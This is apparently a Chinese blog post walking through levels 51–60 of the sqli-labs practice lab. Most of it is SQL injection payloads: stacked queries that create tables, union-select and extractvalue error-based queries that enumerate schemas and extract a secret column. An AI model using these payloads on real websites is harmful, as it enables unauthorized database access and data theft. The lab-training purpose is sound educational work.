sql-lib闯关51-60

第五十一关

这一关和三十八关基本一样，堆叠注入问题只不过是字符型 ?sort=1';create table test51 like users;%23

看数据库发现有啦

第五十二关

和五十关一样，只不过不显示错误
?sort=1;create table test52 like users;%23

堆叠注入

第五十三关

和五十一关一样，区别是不显示错误

?sort=1';create table test53 like users;%23

第五十四关

这一关没什么特别特别在于查询的次数，只能输入10次注入信息，记录方式是cookie。

查库 ?id=-1%27%20union%20select%201,database(),%273

查表 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

爆列 ?id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where
table_name='i58u96bgqr（后面这关name是咱们刚才查到的）

第五十五关

和上一关一样，加了一个小括号通过测试发现是加了小括号，一共可以输入14次

查表 ?id=-1) union select 1,group_concat(table_name),3 from
information_schema.tables where
table_schema=database()%23（和上一关一样就是把引号改成括号）

第五十六关

和之前一样，通过测试发现是单引号括号闭合，其他的操作一样

看数据库名 ?id=-1') union select 1,database(),3%23

第五十七关

经过测试，发现是双引号闭合，其他和前几关一样

查询数据库名 ?id=-1" union select 1,database(),3%23

第五十八关

这关好像只有5次机会

后来发现没有回显，一查，这一关不能用union select语句了，那我们报错试一下

报错输入获得数据库名 ?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

那就说明报错说明可以的，报错注入在之前的文章有介绍，不在这里在做解释

第五十九关

和上一关一样只不过没有单引号

报错输入获得数据库名 ?id=0 and extractvalue(1, concat(0x5c, (select database())))%23

第六十关

和上一关一样，只不过多了双引号和括号?id=0”)

报错输入获得数据库名 ?id=0") and extractvalue(1, concat(0x5c, (select database())))%23

获取表名 ?id=0") union select extractvalue(1,concat(0x7e,(select
group_concat(table_name) from information_schema.tables where
table_schema='challenges'),0x7e))--+

爆列名 ?id=-1") union select extractvalue(1,concat(0x7e,(select
group_concat(column_name) from information_schema.columns where
table_name='wapsbffje5'),0x7e))--+

爆数据 ?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(secret_XSR5) from wapsbffje5),0x7e))--+

输入进去 RsPZ518K3ZvXCVOvrGbhuqAZ 你搞定了他

巴特西

sql-lib闯关51-60

最新文章

热门文章